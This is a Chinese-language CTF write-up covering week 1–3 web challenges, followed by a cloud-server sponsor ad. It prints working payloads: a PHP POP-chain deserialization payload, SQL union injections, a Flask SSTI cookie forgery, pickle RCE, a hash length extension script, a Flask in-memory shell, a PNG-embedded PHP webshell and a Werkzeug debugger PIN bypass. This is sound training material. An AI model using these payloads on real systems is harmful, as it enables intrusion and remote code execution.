[Week1] 1zflask
按照提示访问 robots.txt,访问 /s3recttt 得到一个 python 文件
在 api 路由传参,直接执行命令得到 flag
@app.route('/api')
def api():
cmd = request.args.get('SSHCTFF', 'ls /')
result = os.popen(cmd).read()
return result
[Week1] MD5 Master
<?php
highlight_file(__file__);
$master = "MD5 master!";
if(isset($_POST["master1"]) && isset($_POST["master2"])){
if($master.$_POST["master1"] !== $master.$_POST["master2"] && md5($master.$_POST["master1"]) === md5($master.$_POST["master2"])){
echo $master . "<br>";
echo file_get_contents('/flag');
}
}
else{
die("master? <br>");
}
md5强碰撞,但是限制了前面一部分的字符串,不能使用现成的payload了,这里使用fastcoll生成
fastcoll_v1.0.0.5.exe -p test.txt -o 1.txt 2.txt
test.txt
MD5 master!
将生成的两个文本文件url编码一下,利用 burp 传参即可
[Week1] ez_gittt
git 泄露,和 basectf 那道几乎一模一样
先使用 githacker 将 .git 目录拉下来,再查看历史命令看到添加 flag 的操作
git checkout 命令恢复到当时的操作,恢复后即可看到 flag
[Week1] jvav
让 AI 写个脚本即可得到 flag
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class demo {
public static void main(String[] args) {
try {
// 创建一个ProcessBuilder对象,指定要执行的命令
ProcessBuilder processBuilder = new ProcessBuilder("cat", "/flag");
// 启动进程
Process process = processBuilder.start();
// 读取命令的输出
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
// 等待命令执行完成并获取退出码
int exitCode = process.waitFor();
System.out.println("Exit Code: " + exitCode);
} catch (Exception e) {
e.printStackTrace();
}
}
}
[Week1] poppopop
首先反序列的入口都在 __destruct() 魔术方法里
然后链子是 __destruct() -> __toString() -> flag() -> __invoke()
赋值($this->isyou)($this->flag);得到 flag
<?php
class SH {
public static $Web = false;
public static $SHCTF = false;
}
class C {
public $p;
public function flag()
{
($this->p)();
}
}
class T{
public $n;
public function __destruct()
{
SH::$Web = true;
echo $this->n;
}
}
class F {
public $o;
public function __toString()
{
SH::$SHCTF = true;
$this->o->flag();
return "其实。。。。,";
}
}
class SHCTF {
public $isyou = "system";
public $flag = "cat /flllag";
public function __invoke()
{
if (SH::$Web) {
($this->isyou)($this->flag);
echo "小丑竟是我自己呜呜呜~";
} else {
echo "小丑别看了!";
}
}
}
$payload = new T();
$payload->n = new F();
$payload->n->o = new C();
$payload->n->o->p = new SHCTF();
echo base64_encode(serialize($payload));
# TzoxOiJUIjoxOntzOjE6Im4iO086MToiRiI6MTp7czoxOiJvIjtPOjE6IkMiOjE6e3M6MToicCI7Tzo1OiJTSENURiI6Mjp7czo1OiJpc3lvdSI7czo2OiJzeXN0ZW0iO3M6NDoiZmxhZyI7czoxMToiY2F0IC9mbGxsYWciO319fX0=
[Week1] 单身十八年的手速
翻 js 代码看到当点击次数大于 520 次时弹出一串 base64 ,解码得到 flag
[Week1] 蛐蛐?蛐蛐!
查看源码得到提示,访问得到源码
访问得到页面源码
<?php
if($_GET['ququ'] == 114514 && strrev($_GET['ququ']) != 415411){
if($_POST['ququ']!=null){
$eval_param = $_POST['ququ'];
if(strncmp($eval_param,'ququk1',6)===0){
eval($_POST['ququ']);
}else{
echo("可以让fault的蛐蛐变成现实么\n");
}
}
echo("蛐蛐成功第一步!\n");
}
else{
echo("呜呜呜fault还是要出题");
}
第一层弱比较,使用 114514a 绕过第二层需要传入的字符的前六位是 ququk1 才会执行命令,使用分号绕过进行命令执行,得到 flag
[Week2] guess_the_number
F12 得到源码
发现是伪随机数,给出了生成的第一个数,爆破随机数种子,得到第二个数
@app.route('/first')
def get_first_number():
return str(first_num)
@app.route('/guess')
def verify_seed():
num = request.args.get('num')
if num == str(second_num):
with open("/flag", "r") as file:
return file.read()
return "nonono"
脚本如下:
import random
for seed in range(1000000, 9999999):
random.seed(seed)
first_num = random.randint(1000000000, 9999999999)
if first_num == 8650917635:
print("Seed found:", seed)
for _ in range(3):
print(random.randint(1000000000, 9999999999))
break
# Seed found: 4717769
# 7497985241
# 9607468942
# 9902613818
提交即可得到 flag
[Week2] 自助查询
查询语句已经给出了,按照要求闭合进行注入
注入语句如下:
1") order by 2
1") union select 1,database()
1") union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctf"
1") union select 1,group_concat(column_name) from information_schema.columns where table_name="flag" and table_schema="ctf"
1") union select 1,group_concat(id,scretdata) from ctf.flag
此时你会发现什么都查不到,根据提示查看注释内容,得到 flag
1") UNION SELECT 1,group_concat(COLUMN_NAME, COLUMN_COMMENT) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = 'ctf' AND TABLE_NAME = 'flag'
[Week2] 登录验证
尝试弱口令 admin 回显你不是真正的 admin
查看 jwt 爆破出密钥 222333 伪造 role 为 admin,重新加密
加密后的 jwt 放入 token,刷新即可得到 flag
[Week2] 入侵者禁入
源码如下:
from flask import Flask, session, request, render_template_string
app = Flask(__name__)
app.secret_key = '0day_joker'
@app.route('/')
def index():
session['role'] = {
'is_admin': 0,
'flag': 'your_flag_here'
}
with open(__file__, 'r') as file:
code = file.read()
return code
@app.route('/admin')
def admin_handler():
try:
role = session.get('role')
if not isinstance(role, dict):
raise Exception
except Exception:
return 'Without you, you are an intruder!'
if role.get('is_admin') == 1:
flag = role.get('flag') or 'admin'
message = "Oh,I believe in you! The flag is: %s" % flag
return render_template_string(message)
else:
return "Error: You don't have the power!"
if __name__ == '__main__':
app.run('0.0.0.0', port=80)
发现要检验 admin 的值为 1 并且在 flag 处存在模板注入漏洞,先伪造 admin 的值为 1, 测试注入漏洞
发现 2*2 被成功解析,于是写入命令执行代码,, 注意伪造时 flag 里的单引号需要转义,否则会匹配错误,伪造 payload 如下:
python flask_session_cookie_manager3.py encode -s 0day_joker -t "{'role': {'flag': '{{config.__class__.__init__.__globals__[\'os\'].popen(\'cat /flag\').read()}}', 'is_admin': 1}}"
伪造后传入 cookie 得到 flag
[Week2] dickle(复现)
拿到源码,发现过滤了大量的模块
from flask import Flask, request
import pickle
import base64
import io
BLACKLISTED_CLASSES = [
'subprocess.check_output','builtins.eval','builtins.exec',
'os.system', 'os.popen', 'os.popen2', 'os.popen3', 'os.popen4',
'pickle.load', 'pickle.loads', 'cPickle.load', 'cPickle.loads',
'subprocess.call', 'subprocess.check_call', 'subprocess.Popen',
'commands.getstatusoutput', 'commands.getoutput', 'commands.getstatus',
'pty.spawn', 'posixfile.open', 'posixfile.fileopen',
'__import__','os.spawn*','sh.Command','imp.load_module','builtins.compile'
'eval', 'builtins.execfile', 'compile', 'builtins.open', 'builtins.file', 'os.system',
'os.fdopen', 'os.tmpfile', 'os.fchmod', 'os.fchown', 'os.open', 'os.openpty', 'os.read', 'os.pipe',
'os.chdir', 'os.fchdir', 'os.chroot', 'os.chmod', 'os.chown', 'os.link', 'os.lchown', 'os.listdir',
'os.lstat', 'os.mkfifo', 'os.mknod', 'os.access', 'os.mkdir', 'os.makedirs', 'os.readlink', 'os.remove',
'os.removedirs', 'os.rename', 'os.renames', 'os.rmdir', 'os.tempnam', 'os.tmpnam', 'os.unlink', 'os.walk',
'os.execl', 'os.execle', 'os.execlp', 'os.execv', 'os.execve', 'os.dup', 'os.dup2', 'os.execvp', 'os.execvpe',
'os.fork', 'os.forkpty', 'os.kill', 'os.spawnl', 'os.spawnle', 'os.spawnlp', 'os.spawnlpe', 'os.spawnv',
'os.spawnve', 'os.spawnvp', 'os.spawnvpe', 'pickle.load', 'pickle.loads', 'cPickle.load', 'cPickle.loads',
'subprocess.call', 'subprocess.check_call', 'subprocess.check_output', 'subprocess.Popen',
'commands.getstatusoutput', 'commands.getoutput', 'commands.getstatus', 'glob.glob',
'linecache.getline', 'shutil.copyfileobj', 'shutil.copyfile', 'shutil.copy', 'shutil.copy2', 'shutil.move',
'shutil.make_archive', 'popen2.popen2', 'popen2.popen3', 'popen2.popen4', 'timeit.timeit', 'sys.call_tracing',
'code.interact', 'code.compile_command', 'codeop.compile_command', 'pty.spawn', 'posixfile.open',
'posixfile.fileopen'
]
class SafeUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if f"{module}.{name}" in BLACKLISTED_CLASSES:
raise pickle.UnpicklingError("Forbidden class: %s.%s" % (module, name))
return super().find_class(module, name)
app = Flask(__name__)
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "POST":
encoded_data = request.form["data"]
decoded_data = base64.b64decode(encoded_data)
try:
data_stream = io.BytesIO(decoded_data)
unpickler = SafeUnpickler(data_stream)
result = unpickler.load()
return f"Deserialized data: {list(result)}"
except Exception as e:
return f"Error during deserialization: {str(e)}"
else:
return """
<form method="post">
<label for="data">Enter your serialized data:</label><br>
<textarea id="data" name="data"></textarea><br>
<input type="submit" value="Submit">
</form>
"""
if __name__ == "__main__":
app.run(port=8080)
找到一些没有过滤的命令执行函数使用
import subprocess
import inspect
def list_module_methods(module): # 列出subprocess模块下所有函数
methods = [name for name, func in inspect.getmembers(module, predicate=inspect.isfunction)]
return methods
subprocess_methods = list_module_methods(subprocess)
BLACKLISTED_CLASSES = [] # 黑名单略----------------------------------------
for method in subprocess_methods:
methodTmp = f"subprocess.{method}"
if methodTmp not in BLACKLISTED_CLASSES:
print(method)
'''
输出:
_args_from_interpreter_flags
_cleanup
_optim_args_from_interpreter_flags
_text_encoding
_use_posix_spawn
getoutput
getstatusoutput
list2cmdline
run
'''
发现getoutput没有被过滤,使用它进行命令执行,得到flag
import pickle
import base64
import subprocess
def execute_command(command):
class Exploit(object):
def __reduce__(self):
return (subprocess.getoutput, (command,))
payload = pickle.dumps(Exploit())
encoded_payload = base64.b64encode(payload)
print(encoded_payload.decode())
execute_command('cat /flag')
[Week2] MD5 GOD!
源码如下:
from flask import *
import hashlib, os, random
app = Flask(__name__)
app.config["SECRET_KEY"] = "Th1s_is_5ecr3t_k3y"
salt = os.urandom(16)
def md5(data):
return hashlib.md5(data).hexdigest().encode()
def check_sign(sign, username, msg, salt):
if sign == md5(salt + msg + username):
return True
return False
def getRandom(str_length=16):
"""
生成一个指定长度的随机字符串
"""
random_str =''
base_str ='ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
length =len(base_str) -1
for i in range(str_length):
random_str +=base_str[random.randint(0, length)]
return random_str
users = {}
sign_users = {}
@app.route("/")
def index():
if session.get('sign') == None or session.get('username') == None or session.get('msg') == None:
return redirect("/login")
sign = session.get('sign')
username = session.get('username')
msg = session.get('msg')
if check_sign(sign, username, msg, salt):
sign_users[username.decode()] = 1
return "签到成功"
return redirect("/login")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get('username')
password = request.form.get('password')
# print(password)
if username in users and users[username] == password:
session["username"] = username.encode()
session["msg"] = md5(salt + password.encode())
session["sign"] = md5(salt + md5(salt + password.encode()) + username.encode())
return "登陆成功"
else:
return "登陆失败"
else:
return render_template("login.html")
@app.route("/users")
def user():
return json.dumps(sign_users)
@app.route("/flag")
def flag():
for user in users:
if sign_users[user] != 1:
return "flag{杂鱼~}"
return open('/flag', 'r').read()
def init():
global users, sign_users
for _ in range(64):
username = getRandom(8)
pwd = getRandom(16)
users[username] = pwd
sign_users[username] = 0
users["student"] = "student"
sign_users["student"] = 0
init()
首先登陆给出的账号密码,查看 session,观察 seesion 格式
访问 users 路由查看到需要登陆的人
这是登陆的核心逻辑,salt 是随机生成的 16 个字符,密码是 salt +16 位 A-Za-z0-9,因为已经有了一个学生账号密码的 md5,想到哈希长度拓展攻击
session["username"] = username.encode()
session["msg"] = md5(salt + password.encode())
session["sign"] = md5(salt + md5(salt + password.encode()) + username.encode())
伪造密码和签名,将伪造的数据再用 session 存储提交
提交签到成功,再次查看 /users 路由发现已经签到成功了
接下来就是改造脚本了,根据原有的 hash 拓展脚本写一个批量处理的脚本,关键代码如下,跑一下即可得到 flag
import requests
import os
from Hashdump import HashExtAttack
import ast
import time
url = 'http://210.44.150.15:31643/'
response = requests.get(url+'users')
dicts = response.text
un = ast.literal_eval(dicts)
print(un)
for i in un:
hash_ext_attack = HashExtAttack()
result = hash_ext_attack.input_run('637af2ab008f0cac6a55e9201984c6bfstudent','383da15fd7e7400cf420974001bddeda',i,16)
msg = result[0][:-8]
sign = result[1]
msg_str = repr(msg)
cmd = "python flask_session_cookie_manager3.py encode -s 'Th1s_is_5ecr3t_k3y' -t \"{'msg': "+msg_str+", 'sign': b'"+sign+"', 'username': b'"+i+"'}\""
proc = os.popen(cmd)
output = proc.read()
proc.close()
cookie = {
'session':output[:-1]
}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
}
response = requests.get(url,cookies=cookie, headers=headers)
print(response.text)
response = requests.get(url+'/flag')
print(response.text)
[Week3] 小小cms
开源 cms,网上找到 RCE 漏洞,搜到现成的 poc,直接打,得到 flag
https://github.com/wy876/POC/blob/main/YzmCMS/YzmCMS%E6%8E%A5%E5%8F%A3%E5%AD%98%E5%9C%A8pay_callback%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C.md
[Week3] love_flask
源码如下:
@app.route('/')
def pretty_input():
return render_template_string(html_template)
@app.route('/namelist', methods=['GET'])
def name_list():
name = request.args.get('name')
template = '<h1>Hi, %s.</h1>' % name
rendered_string = render_template_string(template)
if rendered_string:
return 'Success Write your name to database'
else:
return 'Error'
if __name__ == '__main__':
app.run(port=8080)
侥幸拿了一血,审计代码,发现是模板渲染,但是没有回显,想到写内存马,如下:
url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})
注意需要进行模板渲染,成功写入
在写入的 shell 路由下通过参数 cmd 执行命令,得到 flag
[Week3] 拜师之旅·番外
文件上传,经测试是二次渲染绕过
网上找脚本生成二次渲染绕过的 png 图片
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
此脚本写入的马如下:
<?=$_GET[0]($_POST[1]);?>
依次传入 0 和 1 参数即可进行命令执行,burp 抓包可得到文件里面的回显内容
[Week3] hacked_website(复现)
什么都没有,扫目录得到 www.zip,下载下来是网站源码
放入 D 盾发现第十四行存在后门,连接密码为 SH
访问后门文件提示登陆,但是我在源码里翻找和爆破均无果,看官方 wp 写的是爆破,密码是 qwer1234
虽然长度都一样,但是只有这个经历了两次 302 跳转,并且响应最小,(想不到
连接木马,命令执行,得到 flag
[Week3] 顰(复现)
这题只算出来了 pin,其他的不会了,按照官方的 wp 复现一下
先正常计算 pin 值,为 262-850-657,脚本如下:
address_hex = "8e:c2:fc:b6:90:a1"
print(int(address_hex.replace(":",""),16))
import hashlib
from itertools import chain
probably_public_bits = [
'root' # /etc/passwd
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.10/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'156968114622625', # /sys/class/net/eth0/address 十进制
'd45a88e1-3fe4-4156-9e59-3864587b7c87'
# 字符串合并:
# 1./etc/machine-id(docker不用看)
# /proc/sys/kernel/random/boot_id 有boot-id那就拼接boot-id
# 2. /proc/self/cgroup
]
# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
根据 debug 的描述,需要添加受信任的主机才能正常访问 /console 路由,开启 debug 模块,否则直接访问路由就报错
https://werkzeug.palletsprojects.com/en/stable/debug/
修改 host 为 127.0.0.1 允许本地访问
此时出现了填写 pin 框的界面,但是还是不能直接输入,会提示无效
需要本地起一个 demo 看看参数,按照流程访问修改后发现会提示有几个参数
from flask import Flask
app = Flask(name)
@app.route("/")
def hello():
return 'test'
if name == "main":
app.run(host="0.0.0.0", port=8088, debug=True)
# /console?debugger=yes&cmd=pinauth&pin=531-465-652&s=0NrB2mqZqEoBViwg43DE
回到本题,s 参数就是源码给的 SECRET,pin 就是计算出来的 pin,其余参数不用变
访问可以看到 auth 为 true,也就是身份认证成功
/console?__debugger__=yes&cmd=pinauth&pin=262-850-657&s=2Fp0F08Whs4ZUx5iVfRg
接下来获取 cookie,然后将 cookie 填入请求头,发起请求进行命令执行,得到 flag
?__debugger__=yes&cmd=open('/flag').read()&frm=0&pin=262-850-657&s=2Fp0F08Whs4ZUx5iVfRg
Cookie: __wzd80daa8eeb619ef5f617f=1729835051|cae46a0790d2
week4 打不动了,太难了,估计也不会复现了,就到这里吧
DK盾
另外,给师傅们推荐一个性价比非常高的云服务器-DK 盾,适合 ctfer 的服务器!
DK盾-CTFers赞助计划已启动!
CTFers可获得DK盾赞助服务器,配置从2C2G到32H64G不等,续费仅需1元/月。
参与条件:
参与过5个以上国内CTF赛事,附上相关证明。
每月在个人技术博客上至少更新1篇原创文章(CTF技术相关),总量10篇以上。
博客底部挂有DK盾赞助标识或发布一篇推广文章。
详情请关注:
DK盾微信公众号:DK盾-CTFers赞助计划已启动!
DK盾官方QQ群:727077055
DK盾云服务器官网:林枫云
版权归原作者 Liebert77 所有, 如有侵权,请联系我们删除。